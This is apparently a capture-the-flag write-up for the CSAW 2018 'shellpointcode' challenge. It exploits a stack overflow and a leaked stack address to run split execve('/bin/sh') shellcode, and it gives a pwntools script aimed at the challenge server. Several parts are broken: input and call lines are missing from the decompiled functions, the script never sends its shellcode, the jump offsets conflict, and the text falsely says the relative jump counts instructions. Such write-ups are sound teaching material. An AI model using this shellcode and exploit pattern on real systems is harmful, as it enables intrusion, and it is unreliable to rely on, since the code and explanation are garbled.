Csaw 2018 Shellpointcode

Let's take a look at the binary:

$    ./shellpointcode
Linked lists are great!
They let you chain pieces of data together.

(15 bytes) Text for node 1:  
(15 bytes) Text for node 2:
node.next: 0x7ffda2ffda40
node.buffer: 15935728

What are your initials?
Thanks 123

Segmentation fault (core dumped)
$    file shellpointcode
shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped
$    pwn checksec shellpointcode
[*] '/Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

So we can see that we are dealing with a 64 bit binary that has RWX segments (regions of memory that we can read, write, and execute). We can see that with gdb:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-x /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555755000 0x0000555555756000 0x0000000000001000 rwx /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555756000 0x0000555555777000 0x0000000000000000 rwx [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rwx /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rwx
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rwx
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rwx /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

In addition to that when we run it, we see that it prompts us for three separate inputs and prints what appears to be a stack address. When we take a look at the main function in Ghidra we see this:

undefined8 main(void)

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("Linked lists are great! \nThey let you chain pieces of data together.\n");
  return 0;

Here we can see it calls the nononode which does this:

void nononode(void)

  undefined local_48 [8];
  undefined inp1 [24];
  undefined *inp0Ptr;
  undefined inp0 [24];
  inp0Ptr = local_48;
  puts("(15 bytes) Text for node 1:  ");
  puts("(15 bytes) Text for node 2: ");
  puts("node1: ");

Here we can see that it scans for input twice, in two 0xf byte chunks. It then gives us a stack infoleak by printing out the address of inp0Ptr so we know where our first 0xf byte chunk on the stack is. Then it calls the goodbye function which does this:

void goodbye(void)

  char vulnBuf [3];
  puts("What are your initials?");
  printf("Thanks %s\n",vulnBuf);

So we can clearly see there is a buffer overflow bug with the fgets call. It is scanning in 32 (0x20) bytes into a 0x3 byte space (since it is at bp-0x3, and there's nothing below it on the stack). Since there is nothing else on the stack, and we have more than 0x10 bytes worth of overflow we should be able to reach the return address just fine.

So with that, we have an executable stack, a buffer overflow that grants us control of the return address, and a stack infoleak (which we can use to figure out the address of anything within that memory region, by using it's offset). The easy thing to do would be to just push shellcode to the stack, and call it. However the issue here it we don't have a single continuous block of memory to store it in. The biggest one we have is the 0x20 bytes from the goodbye call, however that one has to have an 0x8 byte address 11 bytes in to write over the return address, leaving us with onlu 21 bytes to work with across two separate blocks. What we will need to do here, is write/modify some custom shellcode to specifically fit in the multiple discontinuous chunks we have. I just managed to split my shellcode into two different 0xf (15) byte blocks, and stored them in inp0 and inp1, and just called inp0 using the infoleak. We already know from what we previously did that the offset from the infoleak we got to our second input is +0x8 bytes.

For writing the custom shellcode, we will be splitting up the shellcode into these two blocks. I did not write this shell code originally, I only modified it to fit this one particular use case (I just threw in a jmp instruction). The shellcode came from here: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/:

block 0:

  400080:    48 bf d1 9d 96 91 d0     movabs rdi,0xff978cd091969dd1
  400087:    8c 97 ff
  40008a:    e9 0c 00 00 00           jmp    40009b <_start+0x1b>

This block just executes two different instructions. The first just moves the hex string 0xff978cd091969dd1 (which is just the string /bin/sh\x00 noted) into the rdi register, and then calls the relative jump function. This will just jump x amount of instructions, where x is it's argument (which in this case it's 0xc, which is 12). To figure out how many instructions to jump, I examined the amount of instructions interpreted (since most data can be interpreted as an instruction, and our jmp call will) to see how many instructions I would need to jump ahead, and a bit of trial and error untill I got it right. We can see where the shellcode will jump in gdb (will help a lot if you use a script in this part):

gef➤  search-pattern 0xd091969dd1bf48
[+] Searching '0xd091969dd1bf48' in memory
[+] In '[heap]'(0x55b195217000-0x55b195238000), permission=rwx
  0x55b1952172e0 - 0x55b1952172fc  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
[+] In '[stack]'(0x7ffcc0c31000-0x7ffcc0c52000), permission=rwx
  0x7ffcc0c508e8 - 0x7ffcc0c50904  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
gef➤  x/2g 0x7ffcc0c508e8
0x7ffcc0c508e8:    0x8cd091969dd1bf48    0x0000000011e9ff97
gef➤  x/3i 0x7ffcc0c508e8
   0x7ffcc0c508e8:    movabs rdi,0xff978cd091969dd1
   0x7ffcc0c508f2:    jmp    0x7ffcc0c50908
   0x7ffcc0c508f7:    add    BYTE PTR [rdx+0x5b],ah
gef➤  x/5i 0x7ffcc0c50908
   0x7ffcc0c50908:    nop
   0x7ffcc0c50909:    xor    esi,esi
   0x7ffcc0c5090b:    mul    esi
   0x7ffcc0c5090d:    add    al,0x3b
   0x7ffcc0c5090f:    neg    rdi

Remember the relative jump opcode (0xe9) works off of the number instructions (which vary in bytes), not bytes.


  4000a8:    31 f6                    xor    esi,esi
  4000aa:    f7 e6                    mul    esi
  4000ac:    04 3b                    add    al,0x3b
  4000ae:    48 f7 df                 neg    rdi
  4000b1:    57                       push   rdi
  4000b2:    54                       push   rsp
  4000b3:    5f                       pop    rdi
  4000b4:    0f 05                    syscall

Here is the rest of the shellcode. It essentially just sets for the syscall which will give us a shell, then makes the syscall. All we really did with the shellcode was move around some of the instructions, and add a jmp instruction.

Here is a look at the shellcode precompiled. The NOPs represent the space between the two segments,

$    cat shellcode.asm
[SECTION .text]
global _start
    mov rdi, 0xff978cd091969dd1
    jmp 0x10
    xor esi, esi
    mul esi
    add al, 0x3b    
    neg rdi
    push rdi
    push rsp
    pop rdi

and to compile the shellcode:

$    nasm -f elf64 shellcode.asm
$    ld -o sheller shellcode.o
$    objdump -D sheller -M intel

sheller:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:
  400080:    48 bf d1 9d 96 91 d0     movabs rdi,0xff978cd091969dd1
  400087:    8c 97 ff
  40008a:    e9 0c 00 00 00           jmp    40009b <_start+0x1b>
  40008f:    90                       nop
  400090:    90                       nop
  400091:    90                       nop
  400092:    90                       nop
  400093:    90                       nop
  400094:    90                       nop
  400095:    90                       nop
  400096:    90                       nop
  400097:    90                       nop
  400098:    90                       nop
  400099:    90                       nop
  40009a:    90                       nop
  40009b:    90                       nop
  40009c:    90                       nop
  40009d:    90                       nop
  40009e:    90                       nop
  40009f:    90                       nop
  4000a0:    90                       nop
  4000a1:    90                       nop
  4000a2:    90                       nop
  4000a3:    90                       nop
  4000a4:    90                       nop
  4000a5:    90                       nop
  4000a6:    90                       nop
  4000a7:    90                       nop
  4000a8:    31 f6                    xor    esi,esi
  4000aa:    f7 e6                    mul    esi
  4000ac:    04 3b                    add    al,0x3b
  4000ae:    48 f7 df                 neg    rdi
  4000b1:    57                       push   rdi
  4000b2:    54                       push   rsp
  4000b3:    5f                       pop    rdi
  4000b4:    0f 05                    syscall

Putting it all together, we get the following exploit:

# Import pwntools
from pwn import *

# Establish the target process
#target = process('./shellpointcode')
target = remote('pwn.chal.csaw.io', 9005)

# Establish the two 15 byte shellcode blocks
s0 = "\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\xe9\x11\x00\x00\x00"
s1 = "\x90\x31\xf6\xf7\xe6\x04\x3b\x48\xf7\xdf\x57\x54\x5f\x0f\x05"

# Send the second block first, since it will be stored in memory where it will be executed second
print target.recvline('node 1:\n')

# Send the first block of shell code
print target.recvline('node 2:\n')

# Grab and filter out the infoleak
print target.recvuntil('node.next:')
leak = target.recvline()
leak = leak.replace('\x0a', '')
print 'leak: ' + leak
leak = int(leak, 16)
log.info("Leak is: " + hex(leak))

# Send the buffer overflow to overwrite the return address to our shellcode, and get code exec
target.sendline('0'*11 + p64(leak + 0x8))

# Drop to an interactive shell
target.interactive('node.next: ')

and when we run it:

$    python exploit.py
[+] Starting local process './shellpointcode': pid 24064
Linked lists are great!

They let you chain pieces of data together.

(15 bytes) Text for node 1:  
(15 bytes) Text for node 2:
leak:  0x7ffdfd5fcca0
[*] Leak is: 0x7ffdfd5fcca0
[*] Switching to interactive mode
node.buffer: \x901���;H��WT_\x0f\x05
What are your initials?
Thanks 00000000000\xa8�_��
node.next:                         w
 01:26:01 up  7:47,  1 user,  load average: 0.95, 0.85, 0.77
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               17:41   ?xdm?  38:30   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
node.next: ls
core        readme.md       shellcode.o    shellpointcode
exploit.py  shellcode.asm  sheller
[*] Interrupted
[*] Stopped process './shellpointcode' (pid 24064)

Just like that, we captured the flag!